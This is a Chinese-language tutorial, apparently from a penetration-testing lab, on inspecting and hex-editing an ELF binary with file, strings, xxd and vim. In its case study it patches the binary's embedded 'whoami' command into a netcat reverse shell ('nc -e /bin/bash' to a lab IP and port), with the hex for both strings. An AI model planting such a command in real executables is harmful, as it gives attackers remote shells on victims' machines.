什麼是二進制檔案
什麼是二進制檔案?二進制檔案是以計算機可了解(可讀)格式進行存儲的資料,由二進制數(0,1)或位組成。
除了純文字檔案外,二進制檔案構成了計算機中存儲的所有其他形式的内容。 常見的二進制檔案包括資料檔案、圖像、聲音檔案、可執行程式等。
以二進制形式存儲的程式的一個優點是它們可以非常快速地執行,因為它們比具有同等資料量的文本檔案小。
預設情況下,我們無法使用普通程式或文本編輯器檢視或編輯二進制檔案。 相反,我們需要特殊的實用程式和十六進制編輯器來通路二進制檔案。
什麼時候需要修改二進制檔案
當然與純文字檔案相比,對二進制檔案進行檢視的場景比較少,更不用提對其進行修改了。但是仍然有些情況下需要檢視和編輯二進制檔案,尤其在滲透測試過程中可能會遇到需要對二進制檔案進行檢視甚至修改的需求。。
大多數 Linux 發行版都有内置的實用程式來操作二進制檔案,在本文中,我們将詳細介紹如何對二進制檔案執行讀/寫操作的方法和步驟。
實際案例分享
本案例選擇某目标主機獲得的client.bin二進制檔案。
第一步:可先用Linux的file指令檢視檔案的類型:
$ file client.bin.bak
client.bin.bak: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=ad5b9f2d0ceddf3d884a5bb37c6d374ce357c9e2, stripped
第二步:利用strings指令檢視該檔案,strings指令可用于檢視檔案(包括二進制檔案)中的可列印字元串。
$ strings client.bin.bak
/lib64/ld-linux-x86-64.so.2
_Py_NotImplementedStruct
(省略)
Setup nuitka compiled module/bytecode/shlib importer.
/home/c0rruptedb1t/MEGA/Projects And Operations/Project Replay/scripts/client.pydataIP: outputAF_INETEnter Password: sendmsgkeyencodexornotes00admincmd;echo Hello World, you are currently running as: ;whoamidecodestring--=======NOTES=======-- +Buy new milk (the current one is chunky) +2nd half of password is: h0TAIRNXuQcDu9Lqsyul +Find a new job +Call mom =====[END]=====commandlettersrecvoschoicesystem-= TERMINATING CONNNECTION =-
client_socketrandominputstrclearraw_inputCommand to be executed: replacejointimebase64
?exit1230012300admincmd;SOCK_STREAMconnectsleepoutdataappendXORtmpAttempting to connect...(
Definitely the password I swear -> password123 <- Definitely the password I sweartypesbye<module>encodestringnumsHello there you're not being naughty are you? bob_pass123456789rblensumiterlongnameopenreadreprsitelevelrangeformatlocalsxrange__all____cmp____doc__compileglobalsinspect__dict____exit____file____iter____main____name____path__exc_typefromlist__class____enter__bytearrayexc_value__import____module____delattr____getattr____package____setattr__classmethod__builtins__staticmethod__metaclass__exc_traceback/usr/bin/python2
GCC: (Debian 8.2.0-6) 8.2.0
.shstrtab
.(省略)
對strings指令輸出進行分析,該可執行程式client.bin會執行指令echo Hello World, you are currently running as: ;whoami
我們的目标是将上述指令修改為可以反彈shell的指令,那麼實作該目标就涉及到需要對上述可執行程式(client.bin)進行修改。
第三步:利用Linux的xxd 指令将二進制檔案中轉儲為十六進制資料
$ xxd client.bin client.bin.dump
第四步:接下來可用各種編輯器,比如hexedit, vim等,本文将利用vim指令修改client.bin.dump檔案内容,隻需要修改檔案内容中部的十六進制部分
找到echo Hello World, you are currently running as: ;whoami的位置,然後修改為
echo Hello Worldddd;nc -e /bin/bash 192.168.56.146 5555
需要保證修改前後的字元串長度一緻(可以通過加減不重要字元或者空格)即:
原始字元串:echo Hello World, you are currently running as: ;whoami
原始字元串的十六進制資料:65 63 68 6f 20 48 65 6c 6c 6f 20 57 6f 72 6c 64 2c 20 79 6f 75 20 61 72 65 20 63 75 72 72 65 6e 74 6c 79 20 72 75 6e 6e 69 6e 67 20 61 73 3a 20 3b 77 68 6f 61 6d 69
目标字元串:echo Hello Worldddd;nc -e /bin/bash 192.168.56.146 5555
目标字元串的十六進制資料:65 63 68 6f 20 48 65 6c 6c 6f 20 57 6f 72 6c 64 64 64 64 3b 6e 63 20 2d 65 20 2f 62 69 6e 2f 62 61 73 68 20 31 39 32 2e 31 36 38 2e 35 36 2e 31 34 36 20 35 35 35 35
在修改過程中需要注意不能指望通過拷貝粘貼的方式一次性将所有字元串進行替換,而是逐個位元組進行替換,可以用vim -b方式打開vim -b client.bin.dump
在vim中的右側部分(即字元部分)無需修改
第四步:修改完成後,用xxd重新生成二進制可執行檔案
xxd -r client.bin.dump > client.bin
然後修改權限,chmod +x
結尾
在本文中,我們了解了什麼是二進制檔案,并用實際案例的方式介紹了如何檢視并進一步修改二進制檔案。
最後分享一個線上網站,也可以友善我們編輯二進制檔案
https://hexed.it/